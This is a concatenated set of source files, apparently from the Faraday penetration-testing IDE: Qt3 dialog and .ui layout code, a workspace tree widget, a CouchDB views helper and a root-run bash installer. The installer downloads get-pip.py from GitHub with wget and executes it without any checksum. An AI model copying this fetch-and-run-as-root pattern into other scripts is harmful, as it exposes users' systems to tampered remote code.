155 self.t_parameters.horizontalHeader().setLabel(0,self.__tr("Value"))
156 self.t_parameters.verticalHeader().setLabel(0,self.__tr("Default "))
157 self.label_name.setText(self.__tr("Name:"))
158 self.label_version.setText(self.__tr("Tool:"))
159 self.label_pversion.setText(self.__tr("Plugin:"))
160
161 def lv_parameters_currentChanged(self,a0):
162 devlog("PluginSettingsUi.lv_parameters_currentChanged(QListViewItem*): Not implemented yet")
163
164 def __tr(self,s,c = None):
165 return qApp.translate("PluginSettingsUi",s,c)
0 <!DOCTYPE UI><UI version="3.3" stdsetdef="1">
1 <class>PluginSettingsUi</class>
2 <widget class="QDialog">
3 <property name="name">
4 <cstring>PluginSettingsUi</cstring>
5 </property>
6 <property name="geometry">
7 <rect>
8 <x>0</x>
9 <y>0</y>
10 <width>782</width>
11 <height>493</height>
12 </rect>
13 </property>
14 <property name="caption">
15 <string>Plugin Settings</string>
16 </property>
17 <property name="sizeGripEnabled">
18 <bool>true</bool>
19 </property>
20 <grid>
21 <property name="name">
22 <cstring>unnamed</cstring>
23 </property>
24 <property name="margin">
25 <number>11</number>
26 </property>
27 <property name="spacing">
28 <number>6</number>
29 </property>
30 <widget class="QLayoutWidget" row="1" column="0" rowspan="1" colspan="2">
31 <property name="name">
32 <cstring>Layout1</cstring>
33 </property>
34 <hbox>
35 <property name="name">
36 <cstring>unnamed</cstring>
37 </property>
38 <property name="margin">
39 <number>0</number>
40 </property>
41 <property name="spacing">
42 <number>6</number>
43 </property>
44 <spacer>
45 <property name="name">
46 <cstring>Horizontal Spacing2</cstring>
47 </property>
48 <property name="orientation">
49 <enum>Horizontal</enum>
50 </property>
51 <property name="sizeType">
52 <enum>Expanding</enum>
53 </property>
54 <property name="sizeHint">
55 <size>
56 <width>20</width>
57 <height>20</height>
58 </size>
59 </property>
60 </spacer>
61 <widget class="QPushButton">
62 <property name="name">
63 <cstring>bt_ok</cstring>
64 </property>
65 <property name="text">
66 <string>&amp;OK</string>
67 </property>
68 <property name="accel">
69 <string></string>
70 </property>
71 <property name="autoDefault">
72 <bool>true</bool>
73 </property>
74 <property name="default">
75 <bool>true</bool>
76 </property>
77 </widget>
78 <widget class="QPushButton">
79 <property name="name">
80 <cstring>bt_cancel</cstring>
81 </property>
82 <property name="text">
83 <string>&amp;Cancel</string>
84 </property>
85 <property name="accel">
86 <string></string>
87 </property>
88 <property name="autoDefault">
89 <bool>true</bool>
90 </property>
91 </widget>
92 </hbox>
93 </widget>
94 <widget class="QListView" row="0" column="0">
95 <column>
96 <property name="text">
97 <string>Plugin</string>
98 </property>
99 <property name="clickable">
100 <bool>false</bool>
101 </property>
102 <property name="resizable">
103 <bool>true</bool>
104 </property>
105 </column>
106 <property name="name">
107 <cstring>lw_plugins</cstring>
108 </property>
109 <property name="minimumSize">
110 <size>
111 <width>300</width>
112 <height>0</height>
113 </size>
114 </property>
115 <property name="maximumSize">
116 <size>
117 <width>300</width>
118 <height>32767</height>
119 </size>
120 </property>
121 <property name="resizePolicy">
122 <enum>AutoOneFit</enum>
123 </property>
124 <property name="resizeMode">
125 <enum>LastColumn</enum>
126 </property>
127 </widget>
128 <widget class="QFrame" row="0" column="1">
129 <property name="name">
130 <cstring>frame3</cstring>
131 </property>
132 <property name="minimumSize">
133 <size>
134 <width>330</width>
135 <height>0</height>
136 </size>
137 </property>
138 <property name="frameShape">
139 <enum>StyledPanel</enum>
140 </property>
141 <property name="frameShadow">
142 <enum>Raised</enum>
143 </property>
144 <grid>
145 <property name="name">
146 <cstring>unnamed</cstring>
147 </property>
148 <widget class="Line" row="2" column="0">
149 <property name="name">
150 <cstring>line1</cstring>
151 </property>
152 <property name="frameShape">
153 <enum>HLine</enum>
154 </property>
155 <property name="frameShadow">
156 <enum>Sunken</enum>
157 </property>
158 <property name="orientation">
159 <enum>Horizontal</enum>
160 </property>
161 </widget>
162 <widget class="QTable" row="3" column="0">
163 <column>
164 <property name="text">
165 <string>Value</string>
166 </property>
167 </column>
168 <row>
169 <property name="text">
170 <string>Default </string>
171 </property>
172 </row>
173 <property name="name">
174 <cstring>t_parameters</cstring>
175 </property>
176 <property name="minimumSize">
177 <size>
178 <width>300</width>
179 <height>0</height>
180 </size>
181 </property>
182 <property name="resizePolicy">
183 <enum>Default</enum>
184 </property>
185 <property name="vScrollBarMode">
186 <enum>AlwaysOn</enum>
187 </property>
188 <property name="numRows">
189 <number>1</number>
190 </property>
191 <property name="numCols">
192 <number>1</number>
193 </property>
194 <property name="sorting">
195 <bool>true</bool>
196 </property>
197 </widget>
198 <widget class="QLayoutWidget" row="0" column="0">
199 <property name="name">
200 <cstring>layout5</cstring>
201 </property>
202 <hbox>
203 <property name="name">
204 <cstring>unnamed</cstring>
205 </property>
206 <widget class="QLabel">
207 <property name="name">
208 <cstring>label_name</cstring>
209 </property>
210 <property name="minimumSize">
211 <size>
212 <width>67</width>
213 <height>0</height>
214 </size>
215 </property>
216 <property name="maximumSize">
217 <size>
218 <width>67</width>
219 <height>32767</height>
220 </size>
221 </property>
222 <property name="font">
223 <font>
224 <bold>1</bold>
225 </font>
226 </property>
227 <property name="text">
228 <string>Name:</string>
229 </property>
230 </widget>
231 <widget class="QLineEdit">
232 <property name="name">
233 <cstring>le_name</cstring>
234 </property>
235 <property name="minimumSize">
236 <size>
237 <width>250</width>
238 <height>0</height>
239 </size>
240 </property>
241 <property name="readOnly">
242 <bool>true</bool>
243 </property>
244 </widget>
245 </hbox>
246 </widget>
247 <widget class="QLayoutWidget" row="1" column="0">
248 <property name="name">
249 <cstring>layout6</cstring>
250 </property>
251 <hbox>
252 <property name="name">
253 <cstring>unnamed</cstring>
254 </property>
255 <widget class="QLabel">
256 <property name="name">
257 <cstring>label_version</cstring>
258 </property>
259 <property name="minimumSize">
260 <size>
261 <width>67</width>
262 <height>0</height>
263 </size>
264 </property>
265 <property name="maximumSize">
266 <size>
267 <width>67</width>
268 <height>32767</height>
269 </size>
270 </property>
271 <property name="font">
272 <font>
273 <bold>1</bold>
274 </font>
275 </property>
276 <property name="text">
277 <string>Version:</string>
278 </property>
279 </widget>
280 <widget class="QLineEdit">
281 <property name="name">
282 <cstring>le_version</cstring>
283 </property>
284 <property name="minimumSize">
285 <size>
286 <width>250</width>
287 <height>0</height>
288 </size>
289 </property>
290 <property name="readOnly">
291 <bool>true</bool>
292 </property>
293 </widget>
294 </hbox>
295 </widget>
296 </grid>
297 </widget>
298 </grid>
299 </widget>
300 <connections>
301 <connection>
302 <sender>bt_ok</sender>
303 <signal>clicked()</signal>
304 <receiver>PluginSettingsUi</receiver>
305 <slot>accept()</slot>
306 </connection>
307 <connection>
308 <sender>bt_cancel</sender>
309 <signal>clicked()</signal>
310 <receiver>PluginSettingsUi</receiver>
311 <slot>reject()</slot>
312 </connection>
313 </connections>
314 <slots>
315 <slot>lv_parameters_currentChanged( QListViewItem * )</slot>
316 </slots>
317 <layoutdefaults spacing="6" margin="11"/>
318 </UI>
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 # -*- coding: utf-8 -*-
7
8
9
10
11
12
13
14
15
16 from qt import *
17
18
19 class PreferencesUi(QDialog):
20 def __init__(self,parent = None,name = None,modal = 0,fl = 0):
21 QDialog.__init__(self,parent,name,modal,fl)
22
23 if not name:
24 self.setName("PreferencesUi")
25
26
27 PreferencesUiLayout = QGridLayout(self,1,1,11,6,"PreferencesUiLayout")
28
29 layout18 = QHBoxLayout(None,0,6,"layout18")
30
31 self.textLabel1 = QLabel(self,"textLabel1")
32 layout18.addWidget(self.textLabel1)
33
34 self.cb_font_family = QComboBox(0,self,"cb_font_family")
35 self.cb_font_family.setMinimumSize(QSize(300,0))
36 layout18.addWidget(self.cb_font_family)
37
38 PreferencesUiLayout.addLayout(layout18,0,0)
39
40 layout19_2 = QHBoxLayout(None,0,6,"layout19_2")
41
42 self.textLabel1_2_2 = QLabel(self,"textLabel1_2_2")
43 layout19_2.addWidget(self.textLabel1_2_2)
44
45 self.cb_font_size = QComboBox(0,self,"cb_font_size")
46 self.cb_font_size.setMinimumSize(QSize(300,0))
47 layout19_2.addWidget(self.cb_font_size)
48
49 PreferencesUiLayout.addLayout(layout19_2,2,0)
50
51 layout19 = QHBoxLayout(None,0,6,"layout19")
52
53 self.textLabel1_2 = QLabel(self,"textLabel1_2")
54 layout19.addWidget(self.textLabel1_2)
55
56 self.cb_font_style = QComboBox(0,self,"cb_font_style")
57 self.cb_font_style.setMinimumSize(QSize(300,0))
58 layout19.addWidget(self.cb_font_style)
59
60 PreferencesUiLayout.addLayout(layout19,1,0)
61
62 layout21 = QHBoxLayout(None,0,6,"layout21")
63 spacer6 = QSpacerItem(121,21,QSizePolicy.Expanding,QSizePolicy.Minimum)
64 layout21.addItem(spacer6)
65
66 layout20 = QHBoxLayout(None,0,6,"layout20")
67
68 self.bt_ok = QPushButton(self,"bt_ok")
69 layout20.addWidget(self.bt_ok)
70
71 self.bt_cancel = QPushButton(self,"bt_cancel")
72 layout20.addWidget(self.bt_cancel)
73 layout21.addLayout(layout20)
74
75 PreferencesUiLayout.addLayout(layout21,4,0)
76
77 self.le_example = QLineEdit(self,"le_example")
78 self.le_example.setFrameShadow(QLineEdit.Sunken)
79 self.le_example.setAlignment(QLineEdit.AlignHCenter)
80 self.le_example.setReadOnly(1)
81
82 PreferencesUiLayout.addWidget(self.le_example,3,0)
83
84 self.languageChange()
85
86 self.resize(QSize(436,217).expandedTo(self.minimumSizeHint()))
87 self.clearWState(Qt.WState_Polished)
88
89
90 def languageChange(self):
91 self.setCaption(self.__tr("Preferences"))
92 self.textLabel1.setText(self.__tr("Font:"))
93 self.textLabel1_2_2.setText(self.__tr("Size:"))
94 self.textLabel1_2.setText(self.__tr("Style:"))
95 self.bt_ok.setText(self.__tr("Ok"))
96 self.bt_cancel.setText(self.__tr("Cancel"))
97 self.le_example.setText(self.__tr("This is an example."))
98
99
100 def __tr(self,s,c = None):
101 return qApp.translate("PreferencesUi",s,c)
0 <!DOCTYPE UI><UI version="3.3" stdsetdef="1">
1 <class>PreferencesUi</class>
2 <widget class="QDialog">
3 <property name="name">
4 <cstring>PreferencesUi</cstring>
5 </property>
6 <property name="geometry">
7 <rect>
8 <x>0</x>
9 <y>0</y>
10 <width>436</width>
11 <height>217</height>
12 </rect>
13 </property>
14 <property name="caption">
15 <string>Preferences</string>
16 </property>
17 <grid>
18 <property name="name">
19 <cstring>unnamed</cstring>
20 </property>
21 <widget class="QLayoutWidget" row="0" column="0">
22 <property name="name">
23 <cstring>layout18</cstring>
24 </property>
25 <hbox>
26 <property name="name">
27 <cstring>unnamed</cstring>
28 </property>
29 <widget class="QLabel">
30 <property name="name">
31 <cstring>textLabel1</cstring>
32 </property>
33 <property name="text">
34 <string>Font:</string>
35 </property>
36 </widget>
37 <widget class="QComboBox">
38 <property name="name">
39 <cstring>cb_font_family</cstring>
40 </property>
41 <property name="minimumSize">
42 <size>
43 <width>300</width>
44 <height>0</height>
45 </size>
46 </property>
47 </widget>
48 </hbox>
49 </widget>
50 <widget class="QLayoutWidget" row="2" column="0">
51 <property name="name">
52 <cstring>layout19_2</cstring>
53 </property>
54 <hbox>
55 <property name="name">
56 <cstring>unnamed</cstring>
57 </property>
58 <widget class="QLabel">
59 <property name="name">
60 <cstring>textLabel1_2_2</cstring>
61 </property>
62 <property name="text">
63 <string>Size:</string>
64 </property>
65 </widget>
66 <widget class="QComboBox">
67 <property name="name">
68 <cstring>cb_font_size</cstring>
69 </property>
70 <property name="minimumSize">
71 <size>
72 <width>300</width>
73 <height>0</height>
74 </size>
75 </property>
76 </widget>
77 </hbox>
78 </widget>
79 <widget class="QLayoutWidget" row="1" column="0">
80 <property name="name">
81 <cstring>layout19</cstring>
82 </property>
83 <hbox>
84 <property name="name">
85 <cstring>unnamed</cstring>
86 </property>
87 <widget class="QLabel">
88 <property name="name">
89 <cstring>textLabel1_2</cstring>
90 </property>
91 <property name="text">
92 <string>Style:</string>
93 </property>
94 </widget>
95 <widget class="QComboBox">
96 <property name="name">
97 <cstring>cb_font_style</cstring>
98 </property>
99 <property name="minimumSize">
100 <size>
101 <width>300</width>
102 <height>0</height>
103 </size>
104 </property>
105 </widget>
106 </hbox>
107 </widget>
108 <widget class="QLayoutWidget" row="4" column="0">
109 <property name="name">
110 <cstring>layout21</cstring>
111 </property>
112 <hbox>
113 <property name="name">
114 <cstring>unnamed</cstring>
115 </property>
116 <spacer>
117 <property name="name">
118 <cstring>spacer6</cstring>
119 </property>
120 <property name="orientation">
121 <enum>Horizontal</enum>
122 </property>
123 <property name="sizeType">
124 <enum>Expanding</enum>
125 </property>
126 <property name="sizeHint">
127 <size>
128 <width>121</width>
129 <height>21</height>
130 </size>
131 </property>
132 </spacer>
133 <widget class="QLayoutWidget">
134 <property name="name">
135 <cstring>layout20</cstring>
136 </property>
137 <hbox>
138 <property name="name">
139 <cstring>unnamed</cstring>
140 </property>
141 <widget class="QPushButton">
142 <property name="name">
143 <cstring>bt_ok</cstring>
144 </property>
145 <property name="text">
146 <string>Ok</string>
147 </property>
148 </widget>
149 <widget class="QPushButton">
150 <property name="name">
151 <cstring>bt_cancel</cstring>
152 </property>
153 <property name="text">
154 <string>Cancel</string>
155 </property>
156 </widget>
157 </hbox>
158 </widget>
159 </hbox>
160 </widget>
161 <widget class="QLineEdit" row="3" column="0">
162 <property name="name">
163 <cstring>le_example</cstring>
164 </property>
165 <property name="frameShadow">
166 <enum>Sunken</enum>
167 </property>
168 <property name="text">
169 <string>This is an example.</string>
170 </property>
171 <property name="alignment">
172 <set>AlignHCenter</set>
173 </property>
174 <property name="readOnly">
175 <bool>true</bool>
176 </property>
177 </widget>
178 </grid>
179 </widget>
180 <layoutdefaults spacing="6" margin="11"/>
181 </UI>
0 # -*- coding: utf-8 -*-
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8
9
10
11
12
13
14
15
16 from qt import *
17 from qttable import QTable
18
19
20 class VulnerabilitiesUi(QDialog):
21 def __init__(self,parent = None,name = None,modal = 0,fl = 0):
22 QDialog.__init__(self,parent,name,modal,fl)
23
24 if not name:
25 self.setName("VulnerabilitiesUi")
26
27
28
29
30
31 self.t_vulns = QTable(self,"t_vulns")
32 self.t_vulns.setNumCols(self.t_vulns.numCols() + 1)
33 self.t_vulns.horizontalHeader().setLabel(self.t_vulns.numCols() - 1,self.__tr("Name"))
34 self.t_vulns.setNumCols(self.t_vulns.numCols() + 1)
35 self.t_vulns.horizontalHeader().setLabel(self.t_vulns.numCols() - 1,self.__tr("Refs"))
36 self.t_vulns.setNumCols(self.t_vulns.numCols() + 1)
37 self.t_vulns.horizontalHeader().setLabel(self.t_vulns.numCols() - 1,self.__tr("Description"))
38 self.t_vulns.setMinimumSize(QSize(700,0))
39 self.t_vulns.setResizePolicy(QTable.AutoOne)
40 self.t_vulns.setVScrollBarMode(QTable.AlwaysOn)
41 self.t_vulns.setNumRows(0)
42 self.t_vulns.setNumCols(3)
43
44
45 LayoutWidget = QWidget(self,"layout7")
46 LayoutWidget.setGeometry(QRect(90,500,450,29))
47
48
49 layout7 = QHBoxLayout(LayoutWidget,5,5,"layout7")
50
51 self.add_button = QPushButton(LayoutWidget,"add_button")
52 layout7.addWidget(self.add_button)
53 spacer6_2 = QSpacerItem(21,21,QSizePolicy.Expanding,QSizePolicy.Minimum)
54 layout7.addItem(spacer6_2)
55
56 self.edit_button = QPushButton(LayoutWidget,"edit_button")
57 layout7.addWidget(self.edit_button)
58 spacer6 = QSpacerItem(21,21,QSizePolicy.Expanding,QSizePolicy.Minimum)
59 layout7.addItem(spacer6)
60
61 self.delete_button = QPushButton(LayoutWidget,"delete_button")
62 layout7.addWidget(self.delete_button)
63
64 spacer6_3 = QSpacerItem(21,21,QSizePolicy.Expanding,QSizePolicy.Minimum)
65 layout7.addItem(spacer6_3)
66
67 self.list_note_button = QPushButton(LayoutWidget,"list_note_button")
68 layout7.addWidget(self.list_note_button)
69
70 spacer7_3 = QSpacerItem(21,21,QSizePolicy.Expanding,QSizePolicy.Minimum)
71 layout7.addItem(spacer7_3)
72
73 self.manage_evidence_button = QPushButton(LayoutWidget,"manage_evidence_button")
74 layout7.addWidget(self.manage_evidence_button)
75
76 self.languageChange()
77
78
79 self.resize(QSize(733,550).expandedTo(self.minimumSizeHint()))
80 self.clearWState(Qt.WState_Polished)
81
82
83 def languageChange(self):
84 self.setCaption(self.__tr("Vulnerability List"))
85 self.t_vulns.horizontalHeader().setLabel(0,self.__tr("Name"))
86 self.t_vulns.horizontalHeader().setLabel(1,self.__tr("Refs"))
87 self.t_vulns.horizontalHeader().setLabel(2,self.__tr("Description"))
88 self.add_button.setText(self.__tr("New"))
89 self.edit_button.setText(self.__tr("Edit"))
90 self.delete_button.setText(self.__tr("Delete"))
91 self.list_note_button.setText(self.__tr("List Notes"))
92 self.manage_evidence_button.setText(self.__tr("Evidence"))
93
94
95 def __tr(self,s,c = None):
96 return qApp.translate("VulnerabilitiesUi",s,c)
0 <!DOCTYPE UI><UI version="3.3" stdsetdef="1">
1 <class>VulnerabilitiesUi</class>
2 <widget class="QDialog">
3 <property name="name">
4 <cstring>VulnerabilitiesUi</cstring>
5 </property>
6 <property name="geometry">
7 <rect>
8 <x>0</x>
9 <y>0</y>
10 <width>733</width>
11 <height>485</height>
12 </rect>
13 </property>
14 <property name="minimumSize">
15 <size>
16 <width>0</width>
17 <height>0</height>
18 </size>
19 </property>
20 <property name="caption">
21 <string>Vulnerability List</string>
22 </property>
23 <grid>
24 <property name="name">
25 <cstring>unnamed</cstring>
26 </property>
27 <widget class="QTable" row="0" column="0">
28 <column>
29 <property name="text">
30 <string>Name</string>
31 </property>
32 </column>
33 <column>
34 <property name="text">
35 <string>Refs</string>
36 </property>
37 </column>
38 <column>
39 <property name="text">
40 <string>Description</string>
41 </property>
42 </column>
43 <property name="name">
44 <cstring>t_vulns</cstring>
45 </property>
46 <property name="minimumSize">
47 <size>
48 <width>700</width>
49 <height>0</height>
50 </size>
51 </property>
52 <property name="resizePolicy">
53 <enum>AutoOne</enum>
54 </property>
55 <property name="vScrollBarMode">
56 <enum>AlwaysOn</enum>
57 </property>
58 <property name="numRows">
59 <number>0</number>
60 </property>
61 <property name="numCols">
62 <number>5</number>
63 </property>
64 </widget>
65 </grid>
66 </widget>
67 <layoutdefaults spacing="6" margin="11"/>
68 </UI>
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 import sys
9 import os
10 import qt
11 import qttable
12 from model.controller import modelactions
13 import model.api as api
14 from gui.qt3.dialogs import WorkspacePropertiesDialog
15 from gui.qt3.dialogs import WorkspaceCreationDialog
16
17 from config.configuration import getInstanceConfiguration
18 CONF = getInstanceConfiguration()
19
20 class WorkspaceListViewItem(qt.QListViewItem):
21 """Item for displaying in the WorkspaceTreeWindow."""
22
23 def __init__(self, qtparent, name, is_active, workspace_type):
24 qt.QListViewItem.__init__(self, qtparent)
25
26 self.setRenameEnabled(0, False)
27 self.index = 0
28 self.is_active = is_active
29 self.workspace_type = workspace_type
30 self.objname = name
31 self.name = "%s (%s)" % (self.objname , self.workspace_type.replace("WorkspaceOn",""))
32 self.setDragEnabled(False)
33 self.setDropEnabled(False)
34 self._setIcon()
35
36
37 def _setIcon(self):
38 active = self.is_active
39 icon_name = "FolderBlue-20.png" if active else "FolderSteel-20.png"
40 icon_path = os.path.join(CONF.getIconsPath(), icon_name)
41 pm = qt.QPixmap(icon_path)
42 self.setPixmap(0, pm)
43
44
45 def setText(self, col, text):
46 """Update name of widget if rename is called."""
47 if col == 0:
48 try:
49 self.widget.rename( unicode(text) )
50 except ValueError:
51
52 text = self.widget.name
53
54 qt.QListViewItem.setText(self, col, text)
55
56 def rename(self):
57 """Rename the listviewitem."""
58 self.startRename(0)
59
60
61
62 def compare(self, i, col, ascending):
63 """
64 #Always sort according to the index value.
65 """
66 a = [-1, 1][ascending]
67
68 if self.name < i.name:
69 return -1*a
70 elif self.name > i.name:
71 return 1*a
72 else:
73 return 0
74
75 def text(self, column):
76 """Get the text in a particular column."""
77 if column == 0:
78 return self.name
79 return ''
80
81
82
83
84 class WorkspaceListView(qt.QListView):
85
86 def __init__(self, parent):
87 qt.QListView.__init__(self, parent)
88 self.setSelectionMode(qt.QListView.Extended)
89
90
91
92
93
94
95 def dragObject(self):
96
97
98
99 return False
100
101 def selectWidget(self, widget):
102 """Find the widget in the list and select it."""
103
104
105
106 iter = qt.QListViewItemIterator(self)
107
108 found = None
109 while True:
110 item = iter.current()
111 if item == None:
112 break
113 if item.widget == widget:
114 found = item
115 break
116 iter += 1
117
118 if found:
119 self.ensureItemVisible(found)
120 self.setSelected(found, True)
121
122
123 class WorkspaceTreeWindow(qt.QVBox):
124
125 def __init__(self, parent, caption="", manager=None):
126 qt.QVBox.__init__(self, parent)
127 self.setName(caption)
128 self.manager = manager
129
130
131
132
133 self.setFrameStyle(qt.QFrame.Panel | qt.QFrame.Plain)
134 self.setLineWidth(1)
135
136 self.contextpopups = {}
137
138
139
140
141
142
143
144
145 lv = self.listview = WorkspaceListView(self)
146
147
148
149
150
151 lv.setRootIsDecorated(True)
152
153
154
155 self.connect( lv, qt.SIGNAL("rightButtonPressed(QListViewItem *,const QPoint&,int)"), self._showContextMenu )
156 self.connect( lv, qt.SIGNAL("doubleClicked(QListViewItem *, const QPoint &, int)"), self._itemDoubleClick )
157
158
159 lv.addColumn("Workspaces")
160 lv.setColumnWidthMode(0, qt.QListView.Maximum)
161
162
163
164 lv.setTreeStepSize(20)
165
166
167
168
169 self._workspace_items = []
170
171
172 def sizeHint(self):
173 return qt.QSize(70, 200)
174
175 def resizeEvent (self, event ):
176
177
178
179
180 self.listview.setColumnWidth(0,self.size().width()-7)
181
182
183
184 def clearTree(self):
185 """
186 clear all the items in the tree
187 """
188 api.devlog("clearTree called")
189 i = self.listview.firstChild()
190 items_to_remove = []
191 while i is not None:
192
193
194
195 items_to_remove.append(i)
196 i = i.nextSibling()
197
198 for i in items_to_remove:
199 self.listview.takeItem(i)
200
201 def customEvent(self, event):
202 if event.type() in ():
203 pass
204
205 def loadAllWorkspaces(self):
206 """
207 Clear the tree and loads all workspaces defined in the workspace manager
208 """
209 self.clearTree()
210 for name in self.manager.getWorkspacesNames():
211 witem = WorkspaceListViewItem(self.listview, name=name,
212 is_active=self.manager.isActive(name),
213 workspace_type=self.manager.getWorkspaceType(name))
214 self._workspace_items.append(witem)
215
216 def setDefaultWorkspace(self):
217 first_child = self.listview.firstChild()
218 if first_child:
219 self._openWorkspace(first_child)
220
221 def _itemDoubleClick(self, item, pos, val):
222 try:
223 if not self.manager.isActive(item.name):
224 self._openWorkspace(item)
225 except Exception as err:
226 pass # Double click should be handled by the item.
227
228 def _showContextMenu(self, item, pos, val):
229 """Pop up a context menu when an item is right-clicked on the list view."""
230
231 popup = qt.QPopupMenu(self)
232
233 selected_items = self._getSelectedItems()
234
235 if not selected_items:
236
237 popup.insertItem('No action available', 100)
238 else:
239 if len(selected_items) == 1:
240 if item.is_active:
241 popup.insertItem('Close', 300)
242 else:
243 popup.insertItem('Open', lambda: self._openWorkspace(item))
244 popup.insertItem('Delete', lambda: self._deleteWorkspace(item))
245
246 popup.insertItem('Properties', lambda: self._showWorkspaceProperties(item))
247
248 elif len(selected_items) > 1:
249 popup.insertItem('Delete', lambda: self._deleteWorkspaces(selected_items))
250 else:
251 api.devlog("ERROR: right click on an valid item (%r) which has a null object" % item)
252
253 ret = popup.exec_loop(pos)
254
255 api.devlog("contextMenuEvent WorkspaceItem - item: %s - ret %s" % (self.name, ret))
256
257
258 def _getSelectedItems(self):
259 selected = []
260 i = self.listview.firstChild()
261 while i is not None:
262 if i.isSelected(): selected.append(i)
263 i = i.itemBelow()
264
265 return selected
266
267
268 def _deleteWorkspaces(self, items):
269 for item in items:
270 self._getMainApp().removeWorkspace(item.objname)
271 self.loadAllWorkspaces()
272
273 def _deleteWorkspace(self, item):
274 self._getMainApp().removeWorkspace(item.objname)
275 self.loadAllWorkspaces()
276
277 def _openWorkspace(self, item):
278 api.devlog("Opening workspace %s selected on the Workspace Perspective" % item.objname)
279 self._getMainApp().openWorkspace(item.objname)
280 self.loadAllWorkspaces()
281
282 def _getMainApp(self):
283 return self.parent().parent().getMainApp()
284
285 def _showWorkspaceProperties(self, item):
286 d = WorkspacePropertiesDialog(self, "Workspace Properties", workspace=item.objname)
287 d.exec_loop()
0 #!/bin/bash
1 ###
2 ## Faraday Penetration Test IDE - Community Version
3 ## Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 ## See the file 'doc/LICENSE' for the license information
5 ###
6
7
8 #Check if is it root
9 if [ $EUID -ne 0 ]; then
10 echo "You must be root."
11 exit 1
12 fi
13
14 #protection
15 sha_kali_i686=f071539d8d64ad9b30c7214daf5b890a94b0e6d68f13bdcc34c2453c99afe9c4
16 sha_kali_x86_64=02a050372fb30ede1454e1dd99d97e0fe0963ce2bd36c45efe90eec78df11d04
17 sha_ubuntu13_10_i686=8199904fb5fca8bc244c31b596c3ae0d441483bfbb2dc47f66186ceffbf3586e
18 sha_ubuntu13_10_x86_64=2b1af6f8d7463324f6df103455748e53cdb1edf6ee796056cdf2f701ccaef031
19 sha_ubuntu13_04_i686=d3632a393aa0bf869653afe252248de62e528c4e42ab49a0d16850ab89fda13e
20 sha_ubuntu13_04_x86_64=ea3010b8c3f81229a6b79c8d679005c1d482548223ebc448963d2d29aabe5692
21
22 #os detection
23 arch=$(uname -m)
24 kernel=$(uname -r)
25 if [ -f /etc/lsb-release ]; then
26 if [ ! -f /usr/bin/lsb_release ] ; then
27 apt-get -y install lsb-release
28 fi
29 os=$(lsb_release -s -d)
30 elif [ -f /etc/debian_version ]; then
31 os="Debian $(cat /etc/debian_version)"
32 elif [ -f /etc/redhat-release ]; then
33 os=`cat /etc/redhat-release`
34 else
35 os="$(uname -s) $(uname -r)"
36 fi
37
38 echo "[+] Install $os $arch"
39 down=0
40 if [ "$os" = "Ubuntu 10.04.2 LTS" ]; then
41 version="ubuntu10-04.02$arch"
42 elif [[ "$os" =~ .*Kali.* ]]; then
43 version="kali-$arch"
44 down=1
45 elif [ "$os" = "Ubuntu 12.04.3 LTS" ]; then
46 version="ubuntu12-$arch"
47 elif [ "$os" = "Ubuntu 13.10" ]; then
48 version="ubuntu13-10-$arch"
49 down=1
50 elif [ "$os" = "Ubuntu 13.04" ]; then
51 version="ubuntu13-04-$arch"
52 down=1
53 elif [[ "$os" =~ "Ubuntu 14.04".* ]]; then
54 version="ubuntu13-10-$arch"
55 down=1
56 # Install pip from github.
57 # Bug: https://bugs.launchpad.net/ubuntu/+source/python-pip/+bug/1306991
58 wget https://raw.github.com/pypa/pip/master/contrib/get-pip.py
59 python get-pip.py
60 else
61 echo "[-] Could not find a install for $os ($arch $kernel)"
62 exit
63 fi
64
65 if [ "$down" -eq 1 ]; then
66
67 if [ -e lib-$version.tgz ]; then
68 echo "[+] QT Libs already downloaded"
69 else
70 echo "[+] Download QT Libs"
71 wget "https://www.faradaysec.com/down/faraday/lib-$version.tgz" -O lib-$version.tgz
72 fi
73
74 shav="sha_${version//-/_}"
75 echo `sha256sum lib-$version.tgz`
76 if [ -e lib-$version.tgz ]; then
77 if [ "`echo ${!shav}`" = "`sha256sum lib-$version.tgz | awk -F\" \" \{'print $1'\}`" ]; then
78 echo "[+] SHA256 ok"
79 tar -xvzf lib-$version.tgz
80
81 cp -R lib-$version/* /usr/local/
82 cp -R lib-$version/qt/lib/*so* /usr/local/lib
83
84 cat deps/qtvars >> /etc/profile
85 . /etc/profile
86 ldconfig
87 else
88 echo "[-] SHA256 file corrupt"
89 exit
90 fi
91 else
92 echo "[-] Download error"
93 exit
94 fi
95 else
96 apt-get -y install python-qt3
97 fi
98
99 apt-get -y install ipython python-pip python-dev couchdb libpq-dev
100 pip install -r requirements.txt
101
102 echo "You can now run Faraday, enjoy!"
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from utils.logs import getLogger
10 from config.configuration import getInstanceConfiguration
11 import traceback
12 from couchdbkit import designer
13 import os
14 import sys
15 import re
16 import imp
17 import plugins.core
18
19 CONF = getInstanceConfiguration()
20
21
22 class ViewsManager(object):
23 """docstring for ViewsWrapper"""
24 def __init__(self):
25 self.vw = ViewsListObject()
26
27 def addView(self, design_doc, workspaceDB):
28 designer.push(design_doc, workspaceDB, atomic = False)
29
30 def addViewForFS(self, design_doc, workspaceDB):
31 designer.fs.push(design_doc, workspaceDB, encode_attachments = False)
32
33 def getAvailableViews(self):
34 return self.vw.get_all_views()
35
36 def getViews(self, workspaceDB):
37 views = {}
38 result = workspaceDB.all_docs(startkey='_design', endkey='_design0')
39 if result:
40 for doc in result.all():
41 designdoc = workspaceDB.get(doc['id'])
42 views.update(designdoc.get("views", []))
43 return views
44
45 def addViews(self, workspaceDB, force = False):
46 installed_views = self.getViews(workspaceDB)
47 for v in self.getAvailableViews():
48 if v not in installed_views or force:
49 self.addView(v, workspaceDB)
50
51
52 class ViewsListObject(object):
53 """ Representation of the FS Views """
54 def __init__(self):
55 self.views_path = os.path.join(os.getcwd(), "views")
56 self.designs_path = os.path.join(self.views_path, "_design")
57
